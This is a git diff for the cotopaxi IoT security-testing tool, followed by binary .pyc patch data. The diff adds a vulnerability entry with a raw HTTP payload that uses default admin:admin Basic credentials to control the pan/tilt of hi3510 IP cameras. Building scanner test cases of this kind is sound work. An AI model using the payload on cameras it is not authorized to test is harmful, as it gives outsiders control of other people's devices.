df_from_scapy(packets, ip_addr, limit_packets=max_packets) if data is None: diff --git a/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw new file mode 100644 index 0000000..cc9eafc --- /dev/null +++ b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw @@ -0,0 +1,2 @@ +GET /web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right +Authorization: Basic YWRtaW46YWRtaW4= diff --git a/cotopaxi/vulnerabilities/vulnerabilities.yaml b/cotopaxi/vulnerabilities/vulnerabilities.yaml index 20086a7..faee672 100644 --- a/cotopaxi/vulnerabilities/vulnerabilities.yaml +++ b/cotopaxi/vulnerabilities/vulnerabilities.yaml @@ -346,3 +346,10 @@ url: credit: Jakub Botwicz payload_file: dtls/payload_tradfri_000.raw +- name: D3D_000 + type: Access + cve_id: + description: Accessing the user and enabling camera rotation is achieved by sending a GET request with the specified parameters. + url: + credit: Pranav Krishna + payload_file: http/payload_d3d_000_request.raw diff --git a/tests/__pycache__/__init__.cpython-311.pyc b/tests/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a93eccbe0936dbe32d69c4f6ed50009a17840591 GIT binary patch literal 192 zcmZ3^%ge<81l)I5r1mm1FgylvV1NlIY~;;_lhPbtkwwJTx+ngMb{u^^E6z|6?V_<%v;0t^+g G07U@}lrxF| literal 0 HcmV?d00001 diff --git a/tests/__pycache__/common_runner.cpython-311.pyc b/tests/__pycache__/common_runner.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2999a3a46d279396541897725feb68a9129e5669 GIT binary patch literal 3999 zcmd5<-ESLJ7Qgdh`zDz%aZ>{QNINv9#9M6F#VycfyR1|RT4-8GpDfVG@=O}1{s?!* z+tzioeW-+y%8HeW%1S)=0cBH_mGZI@FG&0ewl$Kikt!kafOs=X9}rKRbI0Sjj<-Ze zNL)|Oz2~0$aqcpo8XEVALDIw!3^6aH1*oOG zSdh|EK~Bp85y>0GkZ%(sU`p!}ArIisE9n521wj@vlJ8x2-=ziv?OV_91ej)r*5Xco6r}s@|2*AlOnHPhALgE6$iJ(}(DzBQ11%Y#^uIGw5Ti0F1 z2J`54u8=EUv0RmNmYrd|&y32hY?=8bSI#gH2d`e^^_Z?_^BK$1bqjaXH0{>UuOyaB z1v61JOXcixZaI^LH!nHf@{6TQt4_hE6#&)$l(ShMA)c*#*h&4Y|@kdIjKP zO{|jopnG5~uM8V%O{$WW{(b*H#+9n#k~nN&8!g%^Hd?S(b~r5LO9ty30uYjTGw5HW44wWwB)Y=r8En>6XrWP>J$?nI(R6Pt3Ao^yN)hPLk^pq$x?U(5yi;KRBd>Z_P}`di!n z-q2$Y0N{>T8yMH0Ol*X`Uioq)P(oIV3ho5sS)FGhz|CnZU%J-2I?EthF6Db6_dG1- zc^SRd15g&l-ktb4oQ=FEg`bU*Fv&Ur1iamuJB7fh4FyT8MPpwl8Z_3V=N)>!;eR`^ z6Ojfju!Yz+jGa$<3+xgr0abquD-EGOkjOxnUa=?r7QRGQ`k44Qsy>Mm;Ehrr@Z|P- z>(Jazs%OdjXWoPJuSsiiRUX{yD!(}_zKc_cqfY_rNsqsx9@khPcmBGI)uqv^{~>I| zarbw(5k9izg~~JIix6WPf5&O_XKtR3AAf1hik_}0^L|^qxmMXX{!TfUz3Pv9?JvIY zbac#1f*6sm1W!OW2#**uQ*cAqSk5-{(6Llvg^cY6mhz>H?L{djW!EdQ@XQE9HwCI73a#CU!HHjJDhrOX@S`M-jXxql0NjBD z$)QMlHr1LO>L$eT{&&F0iOXX;#I>fBF{X*1te5-lb1zrd#9oLXoezvvvl*i#B7afL*X-J+!f?&$f3+xDzIUqdQ_mU_F zW+cZ^@E#EGhyUw}V&E;b*^?*@2WGltcf`w+xLq{lhIHL1Wp$mu-CVT{{|(`_j(h)> zFob1>_`~xm!%6pvw*WqBex|Q^kBKuZ1uO=kbq7dS5(ME}vZq1zbYCQba%%#A9df!c k>gxu>0_66c8q3B8X-h`6@D0HPWxG5`Po literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_active_scanner.cpython-311.pyc b/tests/__pycache__/test_active_scanner.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..cb46c74755aabdffa26dd222960c352b768cde03 GIT binary patch literal 5673 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 literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_amplifier_detector.cpython-311.pyc b/tests/__pycache__/test_amplifier_detector.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0848b9679af89a5849e938ede1c4df4a5b0662d6 GIT binary patch literal 4394 zcmc&%U1%H09iP?iN^4oNBPC~&G-)>GT3x+@`^d1TdNg?E^|Jjvf z$sd=}K6Ewv)9io#^Pidj*UbDj9*-h;deqkl=kM3WV~NF>IK=8IbXhMZSQAvwc4G`z@hc?5AjnkwUYTzh;X%@y#TX zvhHXi);=%mSRrU5tl6yjK8EiMUbl6qhgtWWZQN`C7-v;mLm>doxXG-Es4}KR8^eFT#;udvvTIr z%=GMN`*S|?iD)WTSuu>|Lv)}|bW63Dh(Cft#0;IIP8_UIf08&%qYMiGUUXrZIGQgFV|m-LOUf;M%=cX%b?u?ADIhmmkZK# zaHsod5!~cA%x$LA5mz=j&h1dAYp#U4-Rd^$v{D#|?v9yGckFJd^dfYdTVbmm zE)3n9&kDC`41NVwJ4R{oA+*A)q0Pb3IUki(xo3PgN9U|)%6uktxBnM&Yp2DHnLz;d ztZW*YL9mYPd81o-yVk*}?Eh^Y+stjpb@Xms2TfK|Y*u35M$V@EUnO*6+GEm{>)Fiw z<;m=kNA5=cp4k1>o?q{I$bQX# z!+&+)Zg?%R_q)W<^Tbf~W-XDbCsIHXV&4geo(qT8V#!8`iD#IXJl7L_jQ|=H{uM*X zJr8=S%Wh)4mKd)m#{V$!t@@Xv?&-PO>A5;!Vs0nNU&Qalzr0=@stHnEkX%86(R^Cr zL7^rL)`dY=7=&5=FXB5zwZs>z;hJ!)E*x`P&#<4StR-K;?e-Cg0w~5#-+P zymOm@sOo5^a)U=@R+yWp#Hu0s-<=zS!+^xjR`zNb+xVR5*tS^EmPGKYvZ+}Psf@H* ziW;2848va1t;LOYsI_-~Rbqo}l%`uR8hC3Km$fG${9{TA2PZ2+Cn}18EAI9ki=N$N z%`7>~vZXCnq#y9XZq_LfMJ@xZqV>eVhidi1TH;team;t2FZ%EGuf>KQ54o{)12OT- z%v%5XKZV`?sh2!Uy$PVv4R{b_ZEul#(6X~dRA!O+k8J|B=;rma`}X!@xAOW~k(-57 zSgh=UnAK_cE5?RZDnB7bdr5TY39YCZCDGIfQ5H4-phb@~PdY4x55mImFhG}Kk{gDh zBK+Ji{4Tq+IA^G|34oSavel_tVx*oJ2@C@f=njlNhHyJm7tXlCnP!Z*1Mh!3P!lfJ zg^O;hY&8k>FF#0r36-5q5*$#v75xK&vW-!EMYFK|RN~`5JDD2)>Dg2|1$iAbKZ^%o z@XEmjN5Kva2|tI@ihpmI!rlv*NF zPh>hYeCGEzYr+S0;RCl-d}Yo`J)R)TmSSqM>_uhSwAHdf>oHlTTTQd2H&0KfrsfoF z74N1?IZEL;g%cFU0G=RUrXS5XPN@_Q!AlH))%I_Vhofi@4+l_ymn;e=?tB&y1_t=y z25Li^=OHZH(8ux_2Eud$qapt14YU=4iO}Kc^87?0)0-ak+oow-K20t= zxBXCLxb?v862rL`CQd_aLV@ky*JYa0db5)YS$Y2I?Cj(`K23+FS<2V=Tj6|Q zybth2pwTM|`6obwWf zcWH!AF<_;w@Zh8RffFxj!|RP!gF#&EZsj?<&t>Z@rr-;{X5v literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_amqp_utils.cpython-311.pyc b/tests/__pycache__/test_amqp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..14319e97bc4024b908e811fccbb01e5e6a611e79 GIT binary patch literal 1174 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 Ic&4uZ0ukvmSpWb4 literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_device_identification.cpython-311.pyc b/tests/__pycache__/test_device_identification.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..3b8c451d2ce5019678dfdf40503120a7fcfb98d8 GIT binary patch literal 4643 zcmd5=%X1US8Si;W8q1PxiCr*G0Yi9MF-SH9172!jm+W3KMWxBZ}t*g;q}Dp4>^P$A`Rt`#%X++%W?iUpX2*j zj!+gVVov0cCTgK_s1nYF{dBk-sYp2q(ve)BkvW8L^e`gFIE1-x`-4t2Zf}r8nsm!g z6G7{P8bds@j0MG7^f8R%dw5zGhrULJIFA;DuhBdQw*0s8pbYnE{f~LDhNpG$=ql1; zcaatcJD6$fdMtnqJnL`p^?mSya)WqC8@T1SK=wiV(&NtZgx{waRKSUU48A==jh{j6 zNewwiZW_8R+nCx^E|^5t@SL8zSt773A`=7TeeXk}A5 zR9?R{?hZGHEEpsE-a-n3u?bmc*k7h8*)~nNfahhE6sr|rgF0hDNeKg2<+3@?7O`Cp zDJ&CwyQ&kcr34a!ZV8)!7gZ_6#GWNp{FL`ZipvEr+@g)Lk;?Mg8=uM(c8t06ebb{S1fx`F>uj2-fOwjU95itZ(y_n@RVuNqh6w#_Us+G)$7o+=Qw+G>n@G3)RrO3r(hNp<$CQ_CCNItOUU zoR{sAPUR9VTXF?csur=V8k&q3bo=RMzNHr5(*|K~YMo*-2x%|5vE-~BpP#X9@DmtM zum&#y1oX_VT&X3->WQ%yLGgQWclYrpg_?A_E}eFz(~LDg^USl|HR)nqy66TsNkBW@ zsreU_{4%KNNu#)x#-6sJt+qbp;q2NOMhMN=L@j{3Rj69A%9v*IC87hv;2jA~o200e zY}-;m8g|;stCmq*8~qHtD0s`06SAe|Z(-)ZiCF=SVA&$(9Jp{zF6d>vHr#S`^1Mpr zd>OO>jvdNW>cl6`oJ>zl`uEARYx}S0hE7XR*7||Vo!bD}1*~k9)bNI+zELU6LAU09 z%ZBPqY(rR`RVJYaS_Sas^&&Rp?)uD4e!eR3N%(aGEQgz6)E93_>f-aGHEFsoO}o-` zTW8}xK<2r+bk3E|t!F+kSLSL`x-O+%Dcv@ld={=r7wXalH@LS7lKD`754aDB-hwQ` zf#Yv)d4PB91OFdyk%~Cyw<#W#SPH?^ELZ*Qd|g5OiRrceiScxBJE0RND(ZsAPmKFX z-5>{G+Rm{+X+I-0G6L2;M6%~?k+2~#jf`(wBkMITKqvGjKp>GOFU1F%D1g;aKhp{T zXl1yql?%_o{amX{*Ien^|0aQF(C05j0zExV7q8@dnot%_1bY}i`xxwJFbv>a%9^%} z4YOJ-wdtML?UFowT@Hi+3XyfA)3a!*t;*nu>?*|-S|}$CaBwipuW@GBiG#6oJ2uBzo$2^oSBlJ^<>ih<1F*9;B=JVpMtGtGhTlyD!t5tQZEM5rEum}bfaK;B0Eug zVG8l+bitEmq2)^|L{R?f9$^jjvo@3)H?!HxHwatn4Gz|%^DP=bBxj+3MU8X{uqkjH z_Y#e{Xsmf0as5kC_GzHOCI8bDquf+OJmq%Y4Kd?(-VHJBcHS=&yO%y$`s7U`k_2DK zO>ICU60Jw}JmTt+kw;(r7}@Ve_BY<&yBuAPzLbWRh5M45INLrfy?N8@gW7N4djRo? zrQy2=9*nsA&egc7IyB0Ez%g-j$43kG1LLcH;ZHuU3W)z;quLz~iLqtpM`5ok>}@0u zKFHLPhw8~gOP@Bx#L~69pFjGeE2e5@UWCQ>J literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_dtls_utils.cpython-311.pyc b/tests/__pycache__/test_dtls_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..389faaf0880c194229bf6c656a3d51bd9144c7cc GIT binary patch literal 2614 zcmbtV+iMh87(a8{9rvn|OF>FWQ|yC(Ntu-`gn>YzPrhwQpM2`~&FpM;6VpEQ%$eVObIx~ezwdH> zPNx$DN^)z1jj4qEi9bPn~5S|d76p1eAq9GK8;42nI_)3Ok%0<~!ii#O4#>{vz zZmLC9AiAt8#sM=?OayYwNSdi)N+2Tni0JWqL|0jAT_WT;ykRM(Sw=swB;p@GCK8rd z2kCj(30TZRo49x|YGB!46YBzKz#A4=Nt_K{Ex9~;$EvzHmpQJJo40xH`rPzvuI^S1 zXW|vA7c|9BVB;L9Fz(AJ`-6z|Je{OBZ%j{rN(;BH-S$UnoYhL4QQb8hic`{Bsl3Eo z#~*acyi^N2ICE;Y<*-+{Ax-eJb5)aZoPMTmS&T!|0RG+PwriJdBV4!~?mfilDBGvu z{|R9P$RnmdujDJX$?_Jn>*Y$dQpzt>UB|7@&*#fPRIPNkn#XyZ z07I%nJJ!D88JJ^vsQ>&E(I(D7r!xhxO19L|mOB3Ix~E>*xBw8=7ZrghBDx29dc|G6 zQiD9}G02XlE;gk8bp*1nuC!M-FrZxUr3$<2r^-f^SuU+G!?68$Clq_J zg;;YKt=Z1BJI9J|^YyXvXKn`-L&^!@Zh%R7Cssa|TSmpt`S)L8XSo^PsCEp^I^DnAS>^!Wo) z5cq=yLcc%shs%lp_UMKhD0fS5i0$?VU04cysoxJE!(qUQ1&(f|NjwH0KM~SD$Lq|O z3}$I!XoVD7fjT9#W-!OW5fRy^0wVWKYXSG?-^BgD4#7~1;%#WMIW*N8np#UCtJ(Y6 